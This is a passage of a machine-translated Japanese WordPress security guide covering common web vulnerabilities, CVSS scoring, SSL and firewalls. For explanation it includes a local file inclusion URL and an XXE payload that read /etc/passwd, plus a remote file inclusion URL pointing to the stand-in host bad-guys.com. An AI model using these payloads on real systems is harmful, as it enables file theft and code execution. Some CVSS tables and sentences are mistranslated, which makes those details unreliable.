ためinclude
渡されたパスが適切にyourfavesite.com
さinclude
ていません。 たとえば、以下のURLを見てみましょう。
yourfavesite.com/module.php?file=example.file
攻撃者がURLパラメータを変更して、サーバー上の任意のファイルにアクセスする可能性があります。
yourfavesite.com/module.php?file=etc/passwd
URL内のファイルの値を変更すると、攻撃者がpsswdファイルの内容を表示する可能性があります。
ローカルファイルの包含を防ぐ方法
ページに含めることができるファイルの許可リストを作成し、識別子を使用して選択したファイルにアクセスします。 次に、無効な識別子を含むリクエストをブロックします。
16.リモートファイルインクルードの脆弱性
RFIまたはリモートファイルインクルードの脆弱性により、攻撃者はファイルをインクルードでき、通常、ターゲットアプリケーションに実装されている「動的ファイルインクルード」メカニズムを悪用します。
リモートファイルインクルードの例
Spritzを使用したWordPressプラグインWPは、RFIの脆弱性があったため、WordPress.orgリポジトリで閉じられました。
以下は、脆弱性のソースコードです。
if(isset($_GET['url'])){ $content=file_get_contents($_GET['url']);
content.filter.php?url=
valueの値を変更することで、コードを悪用できます。 例えば:
yoursite.com//wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=http(s)://bad-guys.com/exec
リモートファイルインクルード防止
ページに含めることができるファイルの許可リストを作成し、識別子を使用して選択したファイルにアクセスします。 次に、無効な識別子を含むリクエストをブロックします。
17.ディレクトリトラバーサルの脆弱性
ディレクトリトラバーサルまたはファイルトラバーサルの脆弱性により、攻撃者はアプリケーションを実行しているサーバー上の任意のファイルを読み取ることができます。
ディレクトリトラバーサルの例
WordPressバージョン5.7〜5.03は、ユーザー入力データを適切に検証できなかったため、ディレクトリトラバーサル攻撃に対して脆弱でした。 少なくとも作成author
権限を持つアカウントにアクセスできる攻撃者は、ディレクトリトラバーサルの脆弱性を悪用し、基盤となるサーバーで悪意のあるPHPコードを実行して、完全なリモートテイクオーバーを引き起こす可能性があります。
ディレクトリトラバーサルを防ぐ方法
開発者は、言語ファイルをテンプレート化または使用するときに、ファイル名の実際の部分ではなくインデックスを使用できます。
18.悪意のあるリダイレクトの脆弱性
悪意のあるリダイレクトの脆弱性により、攻撃者はコードを挿入してサイト訪問者を別のWebサイトにリダイレクトできます。
悪意のあるリダイレクトの例
オンラインブティックの検索ツールを使用して青いセーターを探しているとしましょう。
残念ながら、ブティックのサーバーはユーザー入力を適切にエンコードできず、攻撃者は悪意のあるリダイレクトスクリプトを検索クエリに挿入することができました。
したがって、ブティックの検索フィールドに青いセーターを入力してEnterキーを押すと、検索の説明に一致するセーターがブティックのページではなく、攻撃者のWebページに表示されます。
悪意のあるリダイレクトを防ぐ方法
ユーザー入力をサニタイズし、URLを検証し、すべてのオフサイトリダイレクトの訪問者確認を取得することで、悪意のあるリダイレクトから保護できます。
19.XML外部エンティティの脆弱性
XXEまたはXML外部エンティティの脆弱性により、攻撃者はXMLパーサーをだまして、機密情報を自分の管理下にある外部エンティティに渡すことができます。
XML外部エンティティの例
攻撃者はXXEの脆弱性を悪用して、ユーザーアカウント情報を格納するetc / passwdなどの機密ファイルにアクセスする可能性があります。
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <foo>&xxe;</foo>
XML外部エンティティを防ぐ方法
XXEを防ぐ最善の方法は、JSONなどのそれほど複雑でないデータ形式を使用し、機密データのシリアル化を回避することです。
20.サービス拒否攻撃
DoS攻撃またはサービス拒否攻撃は、Webサイトまたはアプリケーションをネットワークトラフィックで溢れさせることにより、ユーザーが利用できないようにする意図的な試みです。
DDoS分散型サービス拒否攻撃では、攻撃者は複数のソースを使用してネットワークをトラフィックで溢れさせます。 攻撃者は、マルウェアに感染したコンピューター、ルーター、IoTデバイスのグループを乗っ取って、トラフィックフローを増やします。
サービス拒否攻撃の例
今年の2月に、史上最大のDDoS(Distributed Denial-of-Service)攻撃がAWSに対して課されました。 Amazonは、マネージド脅威保護サービスであるAWS Shieldが、この巨大なDDoS攻撃を監視および軽減したと報告しました。 攻撃は3日間続き、1秒あたり2.3テラバイトでピークに達しました。
サービス拒否攻撃を防ぐ方法
DoS攻撃を軽減する主な方法は2つあります。
- 必要以上のホスティングを購入してください。 自由に使える追加のリソースがあると、DoS攻撃によって引き起こされる需要の増加を乗り切るのに役立ちます。
- Cloudflareのようなサーバーレベルのファイアウォールを使用します。 ファイアウォールは、トラフィックの異常なスパイクを検出し、Webサイトが過負荷になるのを防ぐことができます。
21.キーストロークログ
キーロガーまたはキーボードキャプチャとも呼ばれるキーストロークロギングは、ハッカーがWebサイト訪問者のキーストロークを密かに監視および記録するときに発生します。
キーストロークロギングの例
2017年、ハッカーはスマートフォンメーカーのOnePlusのサーバーに悪意のあるJavaScriptを正常にインストールしました。
攻撃者は悪意のあるコードを使用して、クレジットカードの詳細を入力するときにOnePlusの顧客のキーストロークを監視および記録しました。 OnePlusがハッキングを検出してパッチを適用する前に、ハッカーは40,000人の顧客のキーストロークを記録して収集しました。
キーストロークロギングを防ぐ方法
すべてを更新してください! 通常、攻撃者は別の既存の脆弱性を悪用して、コンピューターまたはサーバーにキーロガーを挿入する必要があります。 最新のセキュリティパッチですべてを最新の状態に保つことで、ハッカーがWebサイトやコンピューターにキーロガーを簡単にインストールできるようになります。
ボーナス:フィッシング
ソフトウェアの脆弱性は、ハッカーやサイバー犯罪者が悪用しようとする唯一のものです。 ハッカーはまた、人間を標的にして悪用します。 一般的な悪用方法の1つは、フィッシングです。
フィッシングとは何ですか?
フィッシングは、電子メール、ソーシャルメディア、テキストメッセージ、および電話を使用して被害者をだまして個人情報をあきらめるサイバー攻撃方法です。 その後、攻撃者はその情報を使用して個人アカウントにアクセスしたり、個人情報詐欺を犯したりします。
フィッシングメールを見つける方法
この投稿の前半で学んだように、一部の脆弱性を悪用するには、ある種のユーザー操作が必要です。 ハッカーが人々をだまして不正な活動に参加させる方法の1つは、フィッシングメールを送信することです。
フィッシングメールを見つける方法を学ぶことで、サイバー犯罪者の計画にうっかり遊んでしまうのを防ぐことができます。
フィッシングメールを見つけるための4つのヒント:
- 差出人の電子メールアドレスを確認する–企業から電子メールを受信する場合、「@」の後の送信者の電子メールアドレスの部分は企業名と一致する必要があります。
メールが企業または政府機関を表しているが、「@ gmail」などの公開メールアドレスを使用している場合は、フィッシングメールの兆候です。
ドメイン名の微妙なスペルミスに注意してください。 たとえば、このメールアドレスを見てみましょう[メール保護] Netflixの最後に余分な「x」が付いていることがわかります。 スペルミスは、電子メールが詐欺師によって送信されたものであり、すぐに削除する必要があることを明確に示しています。 - 文法上の誤りを探す–文法上の誤りでいっぱいの電子メールは、悪意のある電子メールの兆候です。 すべての単語のスペルは正しいかもしれませんが、文には一貫性のある単語がありません。 たとえば、「あなたのアカウントはハッキングされています。 アカウントのセキュリティに合わせてパスワードを更新してください。」
誰もが間違いを犯し、タイプミスのあるすべての電子メールがあなたを詐欺しようとするわけではありません。 ただし、複数の文法エラーがある場合は、応答する前に詳しく調べる必要があります。 - 疑わしい添付ファイルまたはリンク–電子メールに含まれている添付ファイルまたはリンクを操作する前に、しばらく一時停止する価値があります。
電子メールの送信者がわからない場合は、マルウェアが含まれていてコンピュータに感染する可能性があるため、電子メールに含まれている添付ファイルをダウンロードしないでください。 メールが企業からのものであると主張する場合は、添付ファイルを開く前に、連絡先情報をGoogleで検索して、メールが送信されたことを確認できます。
電子メールにリンクが含まれている場合は、リンクの上にマウスを置くと、URLが本来あるべき場所に送信されていることを確認できます。 - 緊急の要求に注意する–詐欺師が使用する一般的なトリックは、緊急性の感覚を作り出すことです。 悪意のある電子メールは、早急な対応が必要なシナリオを作成する可能性があります。 考える時間が長いほど、詐欺師からのリクエストであると特定できる可能性が高くなります。
「上司」からベンダーへの支払いを求めるメールが届く場合があります。または銀行から、アカウントがハッキングされており、早急な対応が必要であることを通知するメールが届く場合があります。
WordPressの脆弱性の重大度を測定する方法
WordPressの脆弱性にはいくつかの種類があり、すべてリスクの程度が異なります。 幸いなことに、国立科学技術研究所のプロジェクトであるNational Vulnerability Databaseには、脆弱性のリスクを判断するための脆弱性スコアリングシステム計算機があります。
WordPress脆弱性ガイドのこのセクションでは、脆弱性スコアリングシステムのメトリックと重大度レベルについて説明します。 このセクションはかなり技術的ですが、一部のユーザーは、WordPressの脆弱性とその重大度がどのように評価されるかについての理解を深めるのに役立つと感じるかもしれません。
一般的なWordPressの脆弱性スコアリングシステムの指標
脆弱性スコアリングシステムの方程式は、3つの異なるスコアのセットを使用して、全体的な重大度スコアを決定します。
1.基本メトリクス
基本メトリックグループは、ユーザー環境全体で一定である脆弱性の特性を表します。
基本メトリクスは、悪用可能性と影響の2つのグループに分けられます。
1.1。 悪用可能性メトリック
悪用可能性スコアは、攻撃者が脆弱性を利用することがどれほど難しいかに基づいています。 スコアは、5つの異なる変数を使用して計算されます。
1.1.1。 攻撃ベクトル(AV)
攻撃ベクトルスコアは、脆弱性が悪用される方法に基づいています。 攻撃者が脆弱性を悪用する可能性が高いほど、スコアは高くなります。
デバイスのエクスプロイトへの物理的なアクセスを必要とする脆弱性と比較して、ネットワークを介して脆弱性を悪用できる場合、潜在的な攻撃者の数ははるかに多くなるという考えです。
潜在的な攻撃者が多いほど、悪用のリスクが高くなるため、脆弱性に与えられる攻撃ベクトルスコアは高くなります。
アクセスが必要 | 説明 |
---|---|
ネットワーク(N) | ネットワークで悪用可能な脆弱性 アクセスとは、脆弱なコンポーネントがリモートで悪用可能であることを意味します。 |
隣接ネットワーク(AV:A) | 隣接ネットワークで悪用可能な脆弱性 アクセスとは、脆弱なコンポーネントがネットワークスタックにバインドされていることを意味します。 ただし、攻撃は同じ共有物理ネットワークまたは論理ネットワークに限定されます。 |
ローカル(AV:L) | ローカルで悪用可能な脆弱性 アクセスとは、脆弱なコンポーネントがネットワークスタックにバインドされていないことを意味します。 場合によっては、攻撃者は脆弱性を悪用するためにローカルにログインしたり、悪意のあるファイルを実行するためにユーザーインタラクションに依存したりする可能性があります。 |
物理的(AV:P) | フィジカルで悪用可能な脆弱性 アクセス 攻撃者は、周辺機器をシステムに接続するなど、脆弱なコンポーネントに物理的に触れたり操作したりする必要があります。 |
1.1.2。 攻撃の複雑さ(AC)
複雑さの値は、脆弱性を悪用するために必要な条件に基づいています。 条件によっては、ターゲット、特定のシステム構成設定の存在、または計算上の例外に関する詳細情報を収集する必要がある場合があります。
攻撃の複雑さのスコアは、脆弱性を悪用するために必要な複雑さが低いほど高くなります。
エクスプロイト条件の複雑さ | 説明 |
---|---|
低(L) | 特殊なアクセス条件や酌量すべき事情はありません。 攻撃者は、脆弱なコンポーネントに対して繰り返し成功することを期待できます。 |
高(H) | 攻撃が成功するかどうかは、攻撃者の制御が及ばない状況によって異なります。 攻撃を成功させることは自由に行うことはできませんが、攻撃の成功を期待する前に、攻撃者は脆弱なコンポーネントに対する準備または実行にある程度の労力を費やす必要があります。 |
1.1.3。 必要な特権(PR)
必要な特権のスコアは、攻撃者が脆弱性を悪用する前に取得する必要のある特権に基づいて計算されます。 これについては、「認証済み」と「未認証」のセクションでもう少し詳しく説明します。
特権が必要ない場合、スコアは最高になります。
必要な特権レベル | 説明 |
---|---|
なし(N) | 攻撃者は攻撃前は許可されていないため、攻撃を実行するために設定やファイルにアクセスする必要はありません。 |
低(L) | 攻撃者は、通常はユーザーが所有する設定とファイルにのみ影響を与える可能性のある基本的なユーザー機能を提供する特権を付与されます。 または、権限の低い攻撃者は、機密性の低いリソースにのみ影響を与える可能性があります。 |
高(H) | 攻撃者は、コンポーネント全体の設定とファイルに影響を与える可能性のある脆弱なコンポーネントに対する重要な(管理などの)制御を提供する(つまり、必要な)特権を付与されます。 |
1.1.4。 ユーザーインタラクション(UI)
ユーザーインタラクションスコアは、脆弱性を悪用するためにユーザーインタラクションが必要かどうかに基づいて決定されます。
攻撃者が脆弱性を悪用するためにユーザーの操作が必要ない場合、スコアが最も高くなります。
ユーザーインタラクションの要件 | 説明 |
---|---|
なし(N) | 脆弱なシステムは、ユーザーの操作なしで悪用される可能性があります。 |
必須(R) | この脆弱性の悪用を成功させるには、ユーザーに電子メール内のリンクをクリックするように説得するなど、脆弱性を悪用する前に何らかのアクションを実行する必要があります。 |
1.1.5。 範囲
スコープスコアは、セキュリティスコープを超えてリソースに影響を与える1つのソフトウェアコンポーネントの脆弱性に基づいています。
セキュリティスコープには、他のコンポーネントに独自のセキュリティ権限がある場合でも、そのコンポーネントにのみ機能を提供する他のコンポーネントが含まれます。
スコープの変更が発生したときにスコアが最も高くなります。
範囲 | 説明 |
---|---|
変更なし(U) | 悪用された脆弱性は、同じ機関によって管理されているリソースにのみ影響を与える可能性があります。 この場合、脆弱なコンポーネントと影響を受けるコンポーネントは同じです。 |
変更(U) | 悪用された脆弱性は、脆弱なコンポーネントが意図する許可特権を超えてリソースに影響を与える可能性があります。 この場合、脆弱なコンポーネントと影響を受けるコンポーネントは異なります。 |
1.2。 影響指標
影響メトリックは、悪用に成功した脆弱性の直接的な影響をキャプチャします。
1.2.1。 機密の影響(C)
この機密影響スコアは、悪用されたソフトウェアによって管理される情報の機密性への影響を測定します。
影響を受けるソフトウェアの損失が最も大きいときにスコアが最も高くなります。
守秘義務への影響 | 説明 |
---|---|
高(H) | 機密性が完全に失われ、悪用されたソフトウェア内のすべてのリソースが攻撃者に開示されます。 |
低(L) | 機密性がいくらか失われます。 攻撃者は、いくつかの制限された情報にアクセスしました。 |
なし(N) | 悪用されたソフトウェア内の機密性が失われることはありません。 |
1.2.2。 誠実さ(I)
この整合性スコアは、悪用に成功した脆弱性の整合性への影響に基づいています。
影響を受けるソフトウェアの結果が最大の場合、スコアが最も高くなります。
整合性への影響 | 説明 |
---|---|
高(H) | 完全性が完全に失われるか、保護が完全に失われます。 |
低(L) | データの変更は、影響を受けるソフトウェアに直接の深刻な影響を及ぼしません。 |
なし(N) | 影響を受けるソフトウェア内の整合性が失われることはありません。 |
1.2.3。 可用性(A)
可用性スコアは、悪用されたソフトウェアの可用性の影響に基づいています。
影響を受けるコンポーネントの結果が最大のときにスコアが最大になります。
可用性への影響 | 説明 |
---|---|
高(H) | 可用性が完全に失われ、攻撃者は悪用されたソフトウェアのリソースへのアクセスを完全に拒否します。 |
低(L) | パフォーマンスの低下またはリソースの可用性の中断があります。 |
なし(N) | 影響を受けるソフトウェア内の可用性に影響はありません。 |
基本スコアCVSSスコアの計算
基本スコアは、影響と悪用可能性のサブスコア方程式の関数です。 基本スコアが次のように定義されている場合、
If (Impact sub score <= 0) 0 else, Scope Unchanged 4 Roundup(Minimum[(Impact+Exploitability),10]) Scope Changed Roundup(Minimum[1.08×(Impact+Exploitability),10]) and the Impact subscore (ISC) is defined as, Scope Unchanged 6.42 × ISCBase Scope Changed 7.52 × [ISCBase - 0.029] - 3.25 × [ISCBase - 0.02] 15 Where, ISCBase = 1 - [(1 - ImpactConf) × (1 - ImpactInteg) × (1 - ImpactAvail)] And the Exploitability sub score is, 8.22 × AttackVector × AttackComplexity × PrivilegeRequired × UserInteraction
2.時間スコアメトリック
時間メトリックは、エクスプロイトテクニックの現在の状態、パッチまたは回避策の存在、または脆弱性の説明に対する信頼度を測定します。
時間メトリックは、時間の経過とともに変化すると予想され、変化します。
2.1。 コードの成熟度を悪用する(E)
エクスプロイトコードの成熟度は、脆弱性が攻撃される可能性に基づいています。
脆弱性が悪用されやすいほど、脆弱性スコアは高くなります。
コードの成熟度の値を悪用する | 説明 |
---|---|
未定義(X) | この値をメトリックに割り当てても、スコアには影響しません。 このメトリックをスキップすることは、スコアリング方程式へのシグナルです。 |
高(H) | 機能的な自律コードが存在するか、エクスプロイトは不要であり、詳細は広く入手できます。 |
機能的(F) | 機能的なエクスプロイトコードが利用可能です。 このコードは、脆弱性が存在するほとんどの状況で機能します。 |
概念実証(P) | 概念実証エクスプロイトコードが利用可能であるか、攻撃のデモンストレーションはほとんどのシステムで実用的ではありません。 |
証明されていない(U) | エクスプロイトコードが利用できないか、エクスプロイトは完全に理論的です。 |
2.2。 修復レベル(RL)
脆弱性の修復レベルは、優先順位付けの重要な要素です。 回避策または修正プログラムは、公式のパッチまたはアップグレードが発行されるまで、暫定的な修正を提供する場合があります。
公式で永続的な修正が少ないほど、脆弱性スコアは高くなります。
修復レベル値 | 説明 |
---|---|
未定義(X) | 未定義の修復値は、他の修復値の1つを選択するための情報が不十分であることを意味します。 Not Definedの値は、全体的なTemporal Scoreに影響を与えず、Unavailableと同じ効果をスコアに与えます。 |
利用不可(U) | 解決策はありません。 |
回避策(W) | 非公式の非ベンダーソリューションが利用可能です。 たとえば、ユーザーまたはその他のサードパーティが、脆弱性を軽減するためのパッチまたは回避策を作成しました。 |
一時的な修正(T) | 公式ですが一時的な修正が利用可能です。 たとえば、ソフトウェア開発者は一時的な修正プログラムを発行したり、脆弱性を軽減するための回避策を提供したりしています。 |
公式修正(O) | ソフトウェア開発者は、この脆弱性に対する公式パッチを発行しました。 |
2.3。 レポートの信頼性(RC)
Report Confidenceメトリックは、脆弱性が存在するという信頼性のレベルと、技術的な詳細の信頼性を測定します。
ベンダーまたは他の信頼できるソースによって脆弱性が検証されるほど、スコアは高くなります。
信頼値を報告する | 説明 |
---|---|
未定義(X) | 未定義のレポート信頼値は、他の信頼値の1つを割り当てるのに十分な情報がないことを意味します。 Not Definedの値は、レポートの信頼性スコア全体に影響を与えず、スコアリングにUnavailableと同じ影響を与えます。 |
確認済み(C) | 脆弱性を悪用する方法の概念が不十分な詳細なレポートが存在するか、ソフトウェア開発者が脆弱性の存在を確認しています。 |
リーズナブル(R) | 重要な詳細が記載されたレポートが存在しますが、研究者は根本原因を完全に確信していないか、悪用につながる可能性のあるすべての相互作用を完全に確認することはできません。 ただし、バグは再現可能であり、少なくとも1つの概念実証が存在します。 |
不明(U) | 脆弱性が存在することを示す影響の報告がありますが、脆弱性の原因は不明です。 |
時間的CVSSスコアの計算
時間スコアは、次のように定義されます。
Roundup(BaseScore v× ExploitCode Maturity × RemediationLevel × ReportConfidence)
3.環境スコアメトリクス
環境メトリクスにより、アナリストは影響を受けるIT資産の重要性に基づいてスコアリングされたCVSSをカスタマイズできます。
環境の悪用可能性と影響のメトリックは、基本メトリックと同等に変更され、組織のインフラストラクチャのコンポーネントの配置に基づいて値が割り当てられます。 悪用可能性と影響のメトリックの値と説明を表示するには、上記の基本メトリックのセクションを参照してください。
環境メトリックには、追加のグループ、Impact SubscoreModifiersが含まれています。
3.1。 Impact Subscore Modifiers Metrics
Impact Subscore Modifiersメトリックは、機密性(CR)、整合性(IR)、および可用性(AR)の特定のセキュリティ要件を評価し、ユーザーの環境に応じて環境スコアを微調整できるようにします。
インパクトサブスコア値 | 説明 |
---|---|
未定義(CR:X) | (機密性/完全性/可用性)の喪失は、組織に限定的な影響しか及ぼさない可能性があります。 |
低(CR:L) | (機密性/完全性/可用性)の喪失は、組織に深刻な影響を与える可能性があります。 |
中(CR:M) | (機密性/完全性/可用性)の喪失は、組織に壊滅的な影響を与える可能性があります。 |
高(CR:H) | これは、このスコアを無視するためのシグナルです。 |
環境CVSSスコアの計算
環境スコアは次のように定義されます。
If (Modified Impact Sub score <= 0) 0 else, If Modified Scope is Unchanged Round up(Round up (Minimum [ (M.Impact + M.Exploitability) ,10]) × Exploit Code Maturity × Remediation Level × Report Confidence) If Modified Scope is Changed Round up(Round up (Minimum [1.08 × (M.Impact + M.Exploitability) ,10]) × Exploit Code Maturity × Remediation Level × Report Confidence) And the modified Impact sub score is defined as, If Modified Scope is Unchanged 6.42 × [ISC Modified ] If Modified Scope is Changed 7.52 × [ISC Modified - 0.029]-3.25× [ISC Modified × 0.9731 - 0.02] 13 Where, ISC Modified = Minimum [[1 - (1 - M.IConf × CR) × (1 - M.IInteg × IR) × (1 - M.IAvail × AR)], 0.915] The Modified Exploitability sub score is, 8.22 × M.AttackVector × M.AttackComplexity × M.PrivilegeRequired × M.UserInteraction 4 Where “Round up” is defined as the smallest number, specified to one decimal place, that is equal to or higher than its input. For example, Round up (4.02) is 4.1; and Round up (4.00) is 4.0.
全体的なCVSSスコアと重大度
全体的な共通脆弱性スコアリングシステムまたはCVSSスコアは、基本スコア、時間スコア、および環境スコアを表しています。
全体的なCVSSスコアを使用して、脆弱性がどれほど深刻または深刻であるかを知ることができます。
CVSSスコア | 重大度 |
---|---|
0.0 | なし |
0.1 – 3.9 | 低い |
4.0 – 6.9 | 中くらい |
7.0 – 8.9 | 高い |
9.0 – 10.0 | 致命的 |
実世界のCVSS重大度評価の例
2020年12月の脆弱性ラウンドアップで、Easy WPSMTPプラグインの脆弱性について報告しました。 ゼロデイ(次のセクションでゼロデイの脆弱性について説明します)の脆弱性により、攻撃者は管理者アカウントを制御することができ、実際に悪用されていました。
National Vulnerability Databaseエントリを見ると、WPSMTPの脆弱性の重大度がわかります。

上記のWPSMTPNVDBスクリーンショットからいくつかのことを分析してみましょう。
基本スコア:基本スコアは7.5です。これは、脆弱性の重大度が高いことを示しています。
ベクトル:ベクトルは、スコアがCVSS3.1の脆弱性方程式とスコアの計算に使用されるメトリックに基づいていることを示しています。
これがベクトルのメトリック部分です。
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
次に、この投稿の前半の基本メトリック値と説明を使用して、ベクトルの8つのメトリック値を理解しましょう。
- AV:N –これは、脆弱性の攻撃ベクトル(AV)がネットワーク(N)であることを意味します。 言い換えれば、攻撃者は脆弱性を悪用するためにネットワークアクセスのみを必要とします。
- AC:L –脆弱性の攻撃の複雑さ(AC)は低(L)です。 言い換えれば、スクリプトキディはこの脆弱性を悪用する可能性があります。
- PR:N –脆弱性を悪用するために必要な特権(PR)はなし(N)です。 したがって、この脆弱性は、認証されたユーザーが悪用する必要はありません。 (認証済みと未認証の脆弱性の違いについては、この投稿の後半で説明します。)
- UI:N –この脆弱性を悪用するために必要なユーザーインタラクション(UI)はなし(N)です。 したがって、攻撃者は自分で脆弱性を悪用する手段を持っています。
- S:U –これは、脆弱性のスコープ(S)が変更されていない(U)ことを意味します。 この脆弱性の場合、脆弱なコンポーネントと影響を受けるコンポーネントは同じです。
- C:H –脆弱性の機密性への影響(C)は高(H)です。 この脆弱性が悪用されると、機密性が完全に失われます。
- I:N –この脆弱性の整合性への影響(I)はなし(N)です。 脆弱性が悪用されても、脆弱な情報の整合性や信頼性が失われることはありません。
- A:N –これは、可用性への影響(A)がなし(N)であることを意味します。 脆弱性が悪用されても、Webサイトの可用性に影響はありません。
CVSSスコアは、特定の脆弱性の重大度と範囲を判断するのに役立ちます。 次のいくつかのセクションでは、脆弱性の開示に含まれることが多いいくつかの重要な脆弱性の用語について説明します。
まとめ
このセクションでは、ハッカーの動機、さまざまな種類のハッキング、オンライン犯罪者が悪用する脆弱性、脆弱性のリスクを軽減する方法、脆弱性があなたにもたらすリスクを判断する方法など、WordPressセキュリティのいくつかの重要な要素を学びました。 Webサイト。
攻撃者がWebサイトをハッキングしようとする方法と、Webサイトに侵入した後の標的を理解することで、適切な防御を構築できます。
次のセクションでは、ハッカーがあなたに投げかける可能性のあるほぼすべての種類の攻撃からWebサイトを保護する方法を学習します。
セクション4:サーバーの保護
WordPressのセキュリティ戦略の最初のステップは、サーバーを保護することです。 サーバーには、Webサイトを実行するためのすべてのファイルとコードが保存されています。
このセクションでは、以下について学習します。
- 良いホストを選ぶことの重要性。
- あなたのウェブサイト上の通信を暗号化する方法。
- ファイアウォールがサイトの保護にどのように役立つか。
適切なホスティングを選択してください
すべてのウェブホストが同じように作成されているわけではなく、価格だけで1つを選択すると、長期的にはWordPressのセキュリティ問題により多くの費用がかかる可能性があります。 ほとんどの共有ホスティング環境は安全ですが、ユーザーアカウントを適切に分離していないものもあります。
ホストは、最新のセキュリティパッチを適用し、サーバーとファイルのセキュリティに関連する他の重要なホスティングWordPressセキュリティのベストプラクティスに従うことに注意する必要があります。 ホストは、最新のセキュリティパッチを適用し、サーバーとファイルのセキュリティに関連する他の重要なホスティングセキュリティのベストプラクティスに従うことに注意する必要があります。
WordPressサイトをSSLで暗号化する
SSLとも呼ばれるSecureSockets Layerは、クライアントとWebサーバー間の暗号化を提供するセキュリティテクノロジです。 これをもう少し簡単に理解すると、「クライアント」はChromeやSafariなどのWebブラウザーであり、「Webサーバー」はWebサイトまたはオンラインストアです。
アクセスしているWebサイトにSSL証明書がインストールされているかどうかを確認する簡単な方法は、ブラウザのアドレスバーを調べて、URLがHTTPまたはHTTPSで始まっているかどうかを確認することです。 URLがHTTPSで始まる場合は、SSLを使用してサイトを安全に閲覧しています。
SSLがそれほど重要なのはなぜですか?
2021年にSSL証明書を持っていないことは高価です。 どうして? WebサイトでSSLを有効にしていないと、潜在的な顧客があなたの存在を発見するのが難しくなり、あなたのサイトを見つけた人はあなたにお金を与えることを恐れる可能性があります。
私たちがオンラインで購入するときはいつでも、あなたのブラウザとオンラインショップの間で起こるコミュニケーションがあります。 たとえば、ブラウザにクレジットカード番号を入力すると、ブラウザはその番号をオンラインストアと共有します。 ストアは支払いを受け取ると、購入が成功したことを通知するようにブラウザに通知します。
ブラウザとストアのサーバー間で共有される情報について覚えておくべきことの1つは、その情報が転送中に数回停止することです。 SSLは通信に暗号化を提供し、ストアのサーバーの最終宛先に到達するまでクレジットカードが表示されないようにします。
暗号化がどのように機能するかをよりよく理解するには、購入品がどのように配信されるかを考えてください。 オンライン購入の配送状況を追跡したことがある場合は、ご自宅に到着する前に注文が数回停止したことをご存知でしょう。 売り手があなたの購入品を適切に包装しなかった場合、人々はあなたが購入したものを簡単に見ることができます。
SSLは、悪意のあるユーザーがクライアントとWebサーバー間で共有されるパスワードやクレジットカード番号などの機密情報を傍受するのを防ぐための重要なツールです。
SSL証明書がすべてのWebサイトに必須なのはなぜですか?
WebサイトにSSL証明書を置くことで得られるWordPressのセキュリティ上の利点は、SSL証明書をどのWebサイトにもなくてはならないものにするのに十分です。 ただし、すべての人がサイトの訪問者を保護することを奨励するために、Webブラウザーと検索エンジンは、すべての人にSSLの使用を奨励するという否定的なインセンティブを生み出しました。 このセクションでは、WebサイトでSSLを有効にしないことによるコストのかかる結果について説明します。
1. SSLを有効にしないと、SEOランキングに悪影響を及ぼします
検索エンジン最適化またはSEOは、検索エンジンの結果ページを通じて有機的に発見されるようにWebサイトを最適化するプロセスです。 SEOの利点は、サイトへのオーガニックで無給のトラフィックを増やすための優れた方法であるということです。 パン焼きコースを販売している場合は、Googleを検索している人の結果の最初のページにウェブサイトを表示するか、パン焼きコースの場合はDuck DuckGoを表示します。
サイトでSSLが有効になっていないと、検索エンジンがペナルティを科し、ランキングを下げます。 Googleが検索結果でウェブサイトをランク付けするために使用する指標の1つは、信頼性です。 ユーザーを安全でないウェブサイトに誘導しないことがGoogleの最大の関心事であるため、信頼性はランキングアルゴリズムで非常に重要視されます。 SSLは非常に多くのセキュリティを追加するため、GoogleがWebサイトの信頼性を評価する方法の重要な部分です。
2.ブラウザは非SSLサイトを安全でないものとしてマークします
SSLを有効にしない別の方法は、訪問者のブラウザがサイトが安全でないことを警告することです。 // yourwebsite / COM:httpsに//yourwebsite.com:我々は先に述べたように、あなたの後にあなたのウェブサイト上のSSL証明書をインストールし、サイトのURLは、httpフォーム変更されます。 たとえば、Chromeは、HTTPSで暗号化されたウェブページをロックされた南京錠で安全としてマークします。 または、Chromeは、HTTPで暗号化されていないすべてのウェブページのロックされた南京錠をNot Secure
ではNot Secure
というテキストに置き換えます。

ブラウザで安全でないとマークされているWebサイトで買い物をすることはありません。また、そうしないのは私だけではありません。 GlobalSignの調査によると、オンライン買い物客の85%がセキュリティで保護されていないWebサイトを避けています。 2021年には、ログインページとチェックアウトページだけでなく、すべてのサイトでHTTPSを使用することが重要であることに注意してください。 潜在的な顧客は、ストアページがWebブラウザによって安全でないとしてマークされている場合、安全なチェックアウトに到達しない可能性があります。
3.潜在的な顧客を失う可能性があります
あなたの顧客を保護することはあなたのウェブサイトでSSLを有効にする本質的な理由です。 彼らがあなたに彼らのビジネスを任せてくれるなら、あなたができることは、暗号化の力で彼らを保護することによってその信頼に報いることです。
Webサイトの暗号化が不十分なためにハッカーが顧客のクレジットカードの詳細を盗む可能性がある場合、顧客の信頼を失うだけでなく、将来のビジネスも失うことになります。
WebサイトでSSLが有効になっているかどうかを確認するにはどうすればよいですか?
WebサイトにSSL証明書がインストールされているかどうかを確認する簡単な方法は、ブラウザのアドレスバーを調べて、URLがHTTPまたはHTTPSで始まっているかどうかを確認することです。 URLがHTTPSで始まる場合、WebサイトはSSLで保護されています。
SSLLabsのようなSSLチェッカーを使用することもできます。 SSLチェッカーはサイトでSSL証明書をスキャンし、SSL証明書の有効期限が切れるように設定されていることを通知します。
WordPress WebサイトにSSL証明書をインストールするにはどうすればよいですか?
WordPress WebサイトにSSLがない場合、最初にすべきことは、ホスティングプロバイダーに無料のSSL証明書と構成を提供しているかどうかを確認することです。 2021年には、ほとんどのホスティング会社がホスティングパッケージにSSLを組み込んでいます。 たとえば、iThemes Hostingは、すべてのWebサイトにSSLを提供および管理します。
ホストが無料のSSL証明書を提供していない場合でも、心配しないでください。他にもたくさんのオプションがあります。
Cloudflareは、WordPressWebサイト用の無料の共有SSL証明書を提供します。 共有SSL証明書を使用したくない場合で、コマンドラインに慣れている場合は、CertBotが優れたオプションです。 Certbotは、Let's Encryptを使用して無料のSSL証明書を作成するだけでなく、証明書の更新を自動的に管理します。
WordPress WebサイトでSSLを有効にすることは、2021年には必須です。SSLは、ユーザーと顧客の間の通信を保護し、SEOを改善し、サイトの訪問者がWebサイトを閲覧しているときに安全であるという快適さを提供します。
Webアプリケーションファイアウォールを使用する
Webアプリケーションファイアウォールの使用は、WordPressWebサイトに別の保護レイヤーを追加するための優れた方法です。
Webアプリケーションファイアウォールとは何ですか?
